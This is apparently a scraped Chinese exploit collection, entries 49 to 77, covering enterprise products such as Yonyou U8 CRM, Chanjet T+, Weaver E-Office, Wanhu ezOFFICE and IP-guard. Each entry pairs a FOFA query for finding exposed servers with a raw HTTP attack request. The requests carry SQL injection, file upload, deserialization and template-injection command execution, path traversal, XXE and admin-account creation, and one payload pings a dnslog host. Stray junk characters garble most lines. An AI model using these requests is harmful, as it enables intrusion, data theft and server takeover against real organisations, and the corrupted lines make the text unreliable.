Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ h' [2 H" K. d7 {Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
1 C  `- |% y1 I5 m: U' kContent-Disposition: form-data; name="file"; filename="s.php"
; s6 ]6 l( u9 {4 P% S1231
Content-Type: application/octet-stream
------269520967239406871642430066855
. r' S8 k% t- ]  v: BContent-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--


# X" I, L: B! C1 L) X9 O49. 用友U8 CRM系统uploadfile.php接口任意文件上传
3 x0 }8 g. P+ x3 b1 yFOFA：body="用友U8CRM"

  O( k9 j; V) [POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
7 c  a( n- t, s3 m6 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
' R" x$ U' F" S% ?( H' l4 l8 LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 w$ \  J3 E8 n3 q; g4 sAccept-Encoding: gzip, deflate
  n$ E, U" D: S6 p/ EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
- g5 m, k" h) i
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"

$ A2 }% h6 N+ K3 jupload
6 D8 p+ b  R+ E. w/ Y7 F-----------------------------vvv3wdayqv3yppdxvn3w--

: W) M# E' {5 Z9 q
$ u1 }9 m7 V7 R/ ?7 \& ^1 h  [http://x.x.x.x/tmpfile/updB3CB.tmp.php
4 i9 b3 W& o! Y$ A) O  j9 r
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
$ V" u; c2 C) ]9 W$ h' }User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
3 U6 t, x9 ?" @4 T$ N; x) SConnection: close
Content-Length: 224
+ t( m1 ^* K1 t: c1 {Accept: */*
* x! T% Z1 ?, z3 R7 m% oAccept-Language: en
Content-Type: application/x-www-form-urlencoded
1 M0 M# Q+ h! B- j$ K# E7 w6 iAccept-Encoding: gzip
! i7 c0 {; _0 `0 H, E
/ m2 S0 K: j+ d7 M2 N/ osearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


1 ?6 E7 W( u+ w; ]7 T51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
. F9 L( V  T7 L2 r/ ~: @7 Z+ kFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
4 x. _) \. z* fHost: your-ip
+ n: ]# A7 M3 [  b- O. QUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
; n. T" j  o; W" u2 }& l0 m4 z0 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% j+ z8 t, _- u1 [8 L1 T/ B9 P( f# OAccept-Encoding: gzip, deflate
+ Z0 ?" P; E/ L$ V4 PAccept-Language: zh-CN,zh;q=0.9
Connection: close

1 b' q* F# q- h+ K" _
52. 泛微E-Office json_common.php sql注入
3 o" j) M- v8 w4 ]/ IFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
5 G) g0 W, i( r' H- THost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" h; C, r# m, F0 J% ]1 gConnection: close
; _- y# I/ g' |9 zContent-Length: 87
3 G7 H# }1 c) m1 r% w" J6 vAccept: */*
- t) `; _) F$ W# W9 N+ NAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

- _6 X9 z( N2 Gtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
5 o: M5 @% }! I5 {7 S

53. 迪普 DPTech VPN Service 任意文件上传
9 p/ h% Y& S( u$ [! y; a( J/ k" pFOFA：app="DPtech-SSLVPN"
& K& L( c& a! J- V2 M/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


9 E5 t" Y4 M7 o9 H# Z54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
- `$ g" v8 `+ j: d6 L: N$ ^/ s5 u"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

: A; e: o% H# f) x# [4 D4 r1 g
完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
4 {, J- x+ ]4 }* D( n& z% m- ^Host: x.x.x.x
4 i7 H$ ]6 A( D/ i5 A  E6 X: W! UUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
4 y/ ]# m9 K/ h' U5 A
, s% t) i& I6 A" [; K{
"storeID":{
3 h8 m4 x# `/ c: D "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
1 h4 K% ~8 n9 \2 S2 H  j5 Y( O   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. p3 a# ~6 }$ j    "StartInfo":{
0 U: d! u: F0 L   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
! h1 ^( J: C$ }& f2 K7 T, M& B3 F  }
  }
}
3 ^* z1 j- v3 i: b/ `( \. x9 Z

第二步，访问如下url
8 I5 _: j- q8 i" G- R/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
9 S8 |" j/ o/ D8 @# u, D
5 v! D, {' M  d8 T4 Y$ l2 O% n
55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
- j3 R) j( m* t0 r2 P. h+ U" y$ `/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
8 D6 U) F3 w; z- o( t1 G第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

5 ~% y+ t4 O+ M4 c( ?8 z+ U56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
3 D4 q" x8 E" ~6 e/ ^FOFA: app="畅捷通-TPlus"
; V1 G8 I1 v* q. R) C9 z$ JPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
" E, W! ?' c0 J) D: WHost: x.x.x.x
! e# V- D. i* A* rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
$ @" j% B7 G6 W$ `Content-Type: application/json
( ~9 E1 z  @% N+ E
. s) I* y; e& G! X{
  "storeID":{
" a8 A5 S( d$ ?' _, @* e    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
* h) n6 n  w4 C7 ~! _    }
  }
% x& ^+ u! \( p1 Y. V) l}

5 I9 }3 G+ P$ U: ^  F
3 \. I7 t  N7 S% u! W" D1 c# B% e" F57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
( u$ |5 F% v8 c* g& k7 i3 Z4 ~User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! b8 A+ C' n: F# I7 [5 @/ z! DAccept-Charset: utf-8
* N* y" P& U! V2 G" T4 NAccept-Encoding: gzip, deflate
7 o. N9 B0 f* n& r4 T' s$ PConnection: close

1 ^# j+ {- N' e* A! ~  N# S; S$ Y+ p
! z, m. q/ l& a2 G3 O8 w58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
6 t$ i$ h8 @, \( O* h# z' ?Host: your-ip
; G+ ^) @8 V' q6 i2 |8 g6 k8 W5 wUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
& W( Z5 X" A1 R$ }& w- f' @Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
# w, i: {, C, r& L& V  V9 vConnection: close
2 v2 a. \& X; |7 v6 g7 Q5 t
9 e; F+ v$ P9 d* W3 S
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
9 w+ A* E7 Q- z6 Q$ x4 q( q1 b3 TPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
% I. r0 E8 t  ?7 p- W' k' z: \Host: 192.168.86.128:9090
  s2 d: M* ?9 t" MUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
! O9 S/ E8 t# h% KConnection: close
Content-Length: 1669
Accept: */*
+ E4 x6 _! {) ^' [3 f  dAccept-Language: en
- j& N; Y8 o5 u% j" L" nContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

4 h1 o, K6 R/ K: t  ~PAYLOAD

% B6 Q# S; I7 E9 w; c( M' f
2 e) v, g4 Q0 [. Z1 W60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
' ^( m8 [! {6 U( m& M, LHost:
& W7 R+ ~- \, I# D0 XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. t$ G; _4 Q: i( T/ v4 K+ ]Connection: close
% l% b) N0 E( L" u$ H) e% _" W
7 ]( C1 |& m8 q9 P
% L9 V( e& W! r' G! i61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
# _' K, K' p+ ^9 k7 I4 G- @FOFA: title="欢迎使用浙大恩特客户资源管理系统"
+ N+ p! I6 k" L. [% WPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
+ I! u! w$ z, r1 y$ S5 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
: q: d7 M$ H. y% l2 JContent-Length: 27
1 z8 x* u3 o* \Accept: */*
4 Y6 [# r; v& @* k- J, uAccept-Encoding: gzip, deflate
3 t8 C' E& Z2 D  n7 X* d; wAccept-Language: en
Content-Type: application/x-www-form-urlencoded

4 _# t2 X; L$ M: O& `9 N8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
, w" A) }! Z  A# N4 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
- v# e8 f& M4 c) G7 gConnection: close
5 ?+ B) ~$ ]+ i  w8 b: UAccept: */*
Accept-Language: en
Accept-Encoding: gzip

1 X( |% o  q0 z& y6 ]0 N4 M
访问
4 M9 Z; r; O5 P, j/ T) J
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
/ K; z1 u6 c% N8 D! ^2 [
8 \5 m: E" Y. [% ]# Z" S' h
63. IP-guard WebServer任意文件读取
% _' q. ^- \/ f6 QIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
) s  F. L  p: m, X" _, }0 _POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
; J! @7 m  `+ c  ZHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
2 s. J9 ^) q& C/ b! nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 b3 N9 s1 C4 q+ R, E% i" P* gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
! s, {% ]4 ~0 Y( `6 S
, e+ z! J# C) W$ Q( zpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

' n% A- e. H; J% W7 Y8 P64. 捷诚管理信息系统CWSFinanceCommon SQL注入
! Z3 ]. r0 b5 Y4 SFOFA：body="/Scripts/EnjoyMsg.js"
: b  W2 H2 B' @POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
0 L# a% S0 b# {5 h& U( o: oHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
- A. ~2 D1 W9 \1 D0 ]' ?Accept-Language: en
; ]$ ~& w! ~4 F/ d- fContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
* U. G# ~, l1 I<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
' R/ B4 w" z6 L6 |  Y<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
; d3 z0 c- j( i; V+ k" ^    </GetOSpById>
  </soap:Body>
</soap:Envelope>

: m1 n" K6 q( U
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
# s8 D/ z- |# l6 B- FFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
. M5 E7 g' d9 x4 B/ aPOST /SystemMng.ashx HTTP/1.1
3 T! B; m9 a1 XHost:
* x7 O9 ?& @$ pUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
5 `+ I! G$ v: B; @; y. YAccept-Encoding: gzip, deflate
Accept: */*
Connection: close
; e1 s  Y7 H8 y0 @5 MAccept-Language: en
3 a/ v" ~) w- J5 WContent-Length: 174

- Y1 R8 m7 ?4 W- Q7 Z! eoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
) t( \" t5 N# e  Y2 m9 r, K

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
  `' k0 k' Q2 E7 m) s2 gFOFA：app="万户ezOFFICE协同管理平台"
6 \! @2 s: a! n8 y, n# O
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
9 _& v7 l3 f5 r% p( B+ sHost: x.x.x.x
- H$ o  ]) s3 \5 @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
) |  M8 q, o6 H- FAccept-Encoding: gzip
9 c1 L. g; @( b! `& x1 [; u

- F+ D) ~8 t/ w7 [6 B第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
5 t1 d" U" t8 X% c. j* G
67. 万户ezOFFICE wpsservlet任意文件上传
" ?$ Q  s) b6 b* @* @0 aFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
4 \7 N% K) l6 O1 Q7 O; l  aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
( ]: D( Z" i- O8 F2 _3 `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
( j! Q, k; y# z% j3 k" oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
; p/ ]& B. a3 _, L8 n7 tConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
+ F+ ?( ~6 F$ Y; Y+ l6 YDNT: 1
Upgrade-Insecure-Requests: 1
8 U) N1 Q% U7 X! N3 q0 O* s% L# l' D2 a
' E; b4 j/ S# x" H& S4 Z6 @--ufuadpxathqvxfqnuyuqaozvseiueerp
8 A8 T4 O; d- X( nContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
$ V) e2 i2 K4 V) x  A) h& v
- m; n2 N; a" I' T) P+ j8 N<% out.print("sasdfghjkj");%>
( C' |& D& f2 E$ {--ufuadpxathqvxfqnuyuqaozvseiueerp--

, ^% N/ G4 f. d2 B  x% j& g1 P& `
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

4 D- D, i, s. I0 ?' Z+ [2 s" R" ]7 R! b4 [! V68. 万户ezOFFICE wf_printnum.jsp SQL注入
3 [2 A7 x) y' T6 d8 VFOFA：app="万户ezOFFICE协同管理平台"
3 r4 d( I2 f, l5 F. m2 O6 ^6 EGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
! Y" s2 X# r8 A8 H6 ]Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
" x, v0 z1 t% D  ZAccept-Encoding: gzip, deflate
& J! h' E6 r0 o- j! ]Accept-Language: zh-CN,zh;q=0.9
Connection: close
. A( w. R! |, X4 m7 G( Q, f. u

69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
! L6 j7 ~! _) M. _# _GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
; d8 L* o$ b& y! e& |+ K) TUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
; }2 E( p. i( f6 }0 VAccept-Encoding: gzip, deflate
$ m7 I* H4 ?) ]/ B/ KAccept: */*
& F2 d5 ]/ \. q9 N2 u3 oConnection: keep-alive

2 L/ G! ~6 [! Z1 ]8 C
70. 万户ezEIP success 命令执行
- i6 ^# m* G) ?1 J  N9 P/ T7 Y0 j; aFOFA：app="万户网络-ezEIP"
' B: V* U# q4 BPOST /member/success.aspx HTTP/1.1
3 C' B3 K: R/ K/ A: gHost: {{Hostname}}
  B9 I2 q) V; q+ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
, Q1 J7 R& |$ _& q5 lSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
4 J- G/ K: w$ V2 u2 a; xContent-Type: application/x-www-form-urlencoded
TYPE: C
' }5 P: v9 j) V' N  y& eContent-Length: 16702
. Z) Y5 f' n9 s1 s" r
+ l. ?7 x: J. w& M__VIEWSTATE=PAYLOAD


71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
# T" t) T6 ~  k; H3 s# ^: aFOFA：body="PM2项目管理系统BS版增强工具.zip"
4 i) t8 ?2 i" Q+ zGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
; e9 Z& M  [2 @* [Host: x.x.x.xx.x.x.x
8 b+ s3 k5 k1 `User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
7 M! x; l4 u( hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 f. J) l. U" z# D/ Y2 ?Upgrade-Insecure-Requests: 1
: Y# T4 j. n1 H$ `, n1 A

0 p4 O* c4 K  F6 g3 q: I$ }8 D; o72. 致远OA getAjaxDataServlet XXE
  m4 O% a4 @. u& H" \FOFA：app="致远互联-OA"
  }- n) o7 j) H7 xPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
  H4 Y1 B4 k- d0 SContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

3 u) F; M1 c2 E  p' WS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 l. C7 Y4 r! c" g) k: b6 C
2 u7 T7 y( D) t& @3 D* o! m" I
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
: Y2 u  ~" S' g2 pPOST /geoserver/wms HTTP/1.1
, [( P& l$ @5 ?Host:
, u# ~- j% \9 _' b# s6 I( \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
1 z( K9 E  `' X+ ^+ \Content-Length: 1981
2 q8 }% d* B7 a0 [Accept-Encoding: gzip, deflate
Connection: close
4 T! x, G. f) p* J  F* z% cContent-Type: application/xml
SL-CE-SUID: 3

# q- Y' `1 p  r* G) k/ N6 z0 }* I% z6 TPAYLOAD
; r& S8 {) a0 q! {5 ?0 L+ d: f9 b

74. 致远M3-server 6_1sp1 反序列化RCE
+ G' X( M$ T+ Z$ ?FOFA：title="M3-Server"
/ d) T! z5 c: O) ]PAYLOAD
, H5 u1 z7 ]" z* I/ X3 w9 F! \' A
9 u/ e& f* G4 Z7 N75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
1 Q5 H' v# }0 d, b; |4 @5 PGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
8 N3 F% [* X" a$ dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
: y4 R$ l- S1 yAccept: */*
Accept-Language: en
- ]0 ^( y% d, L; x$ Z% P( ZAccept-Encoding: gzip

  K* x$ }; m" _& q6 r! o8 k
GET /cgi-bin/test28256.txt HTTP/1.1
" g/ M' M) [* W6 ~$ F) I$ a1 C& FHost: x.x.x.x

5 \; m8 \! u1 B" r( \, {' ?7 C
76. 新开普掌上校园服务管理平台service.action远程命令执行
0 g+ M& _! U( w" x# LFOFA：title="掌上校园服务管理平台"
- Y  A# ~  N5 ]# \POST /service_transport/service.action HTTP/1.1
( B- j& }* {$ k8 J  e$ e/ M, ]Host: x.x.x.x
" P$ y8 w! @) K" AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
! P+ C1 W  U) Y6 ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
) \( A" a* X4 ]9 _9 l3 W( }"command": "GetFZinfo",
% N! B/ _, w' P0 L  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
# f$ z% v3 o9 O  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
5 x5 P$ m: [) v9 v5 ~}
5 x" m2 ^0 J7 w4 P& b7 E  e
$ ~) Z: @" _1 I# ?! Y4 U% L, S
' Z- B" i5 M9 C5 {GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
. [3 U: J. @5 a% ^0 W9 l; D
8 F. `. M  }( R6 c' b. H- L

77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ o: d& D2 j0 x/ C7 iFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
) e0 |( [1 [: B$ O# m7 A; [Host: x.x.x.x
0 T4 k$ v3 J6 _3 l1 A+ T& L; AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
& E9 v9 |! s8 ~) Q8 F5 B/ }Connection: close
; e9 w6 y0 I- C  LContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
